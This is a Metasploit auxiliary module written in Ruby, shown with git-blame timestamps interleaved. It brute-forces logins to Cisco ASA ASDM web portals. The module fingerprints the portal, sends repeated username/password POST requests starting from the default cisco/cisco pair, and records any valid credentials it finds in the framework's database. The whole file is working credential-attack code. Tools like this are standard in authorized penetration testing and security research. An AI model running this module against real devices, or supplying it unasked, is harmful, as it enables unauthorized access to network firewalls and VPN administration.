metasploit-framework/modules/auxiliary/scanner/http/cisco_asa_asdm.rb

156 lines
4.2 KiB
Ruby
Raw Normal View History

2013-12-03 05:16:04 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2013-12-03 05:16:04 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
2013-12-03 05:16:04 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco ASA ASDM Bruteforce Login Utility',
'Description' => %{
2013-12-03 06:09:51 +00:00
This module scans for Cisco ASA ASDM web login portals and
2013-12-03 05:16:04 +00:00
performs login brute force to identify valid credentials.
},
'Author' =>
[
'Jonathan Claudius <jclaudius[at]trustwave.com>',
],
2016-01-22 08:54:52 +00:00
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
2013-12-03 05:16:04 +00:00
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
], self.class)
end
def run_host(ip)
unless check_conn?
2016-02-01 22:06:34 +00:00
print_error("Connection failed, Aborting...")
2013-12-03 05:16:04 +00:00
return
end
unless is_app_asdm?
2016-02-01 22:06:34 +00:00
print_error("Application does not appear to be Cisco ASA ASDM. Module will not continue.")
2013-12-03 05:16:04 +00:00
return
end
2016-02-01 22:06:34 +00:00
print_status("Application appears to be Cisco ASA ASDM. Module will continue.")
2013-12-03 05:16:04 +00:00
2016-02-01 22:06:34 +00:00
print_status("Starting login brute force...")
2013-12-03 05:16:04 +00:00
each_user_pass do |user, pass|
do_login(user, pass)
end
end
# Verify whether the connection is working or not
def check_conn?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
2016-02-01 22:06:34 +00:00
print_good("Server is responsive...")
2013-12-03 05:16:04 +00:00
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
return
end
end
# Verify whether we're working with ASDM or not
def is_app_asdm?
res = send_request_cgi(
2013-12-03 05:16:04 +00:00
{
'uri' => '/+webvpn+/index.html',
'method' => 'GET',
'agent' => 'ASDM/ Java/1.6.0_65'
2013-12-03 05:16:04 +00:00
})
2013-12-03 05:51:19 +00:00
if res &&
res.code == 200 &&
res.get_cookies.include?('webvpn')
2013-12-03 05:51:19 +00:00
return true
2013-12-03 05:16:04 +00:00
else
return false
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'Cisco ASA ASDM',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
2013-12-03 05:16:04 +00:00
# Brute-force the login page
def do_login(user, pass)
2016-02-01 22:06:34 +00:00
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
2013-12-03 05:16:04 +00:00
begin
res = send_request_cgi({
2013-12-03 05:16:04 +00:00
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'agent' => 'ASDM/ Java/1.6.0_65',
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'cookie' => 'webvpnlogin=1; tg=0DefaultADMINGroup',
'vars_post' => {
'username' => user,
'password' => pass,
'tgroup' => 'DefaultADMINGroup'
}
2013-12-03 05:16:04 +00:00
})
2013-12-03 05:51:19 +00:00
if res &&
res.code == 200 &&
2013-12-03 05:16:04 +00:00
res.body.match(/SSL VPN Service/) &&
res.body.match(/Success/) &&
res.body.match(/success/)
2016-02-01 22:06:34 +00:00
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
2013-12-03 05:16:04 +00:00
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
2013-12-03 05:16:04 +00:00
return :next_user
else
2016-02-01 22:06:34 +00:00
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
2013-12-03 05:16:04 +00:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
2016-02-01 22:06:34 +00:00
print_error("HTTP Connection Failed, Aborting")
2013-12-03 05:16:04 +00:00
return :abort
end
end
end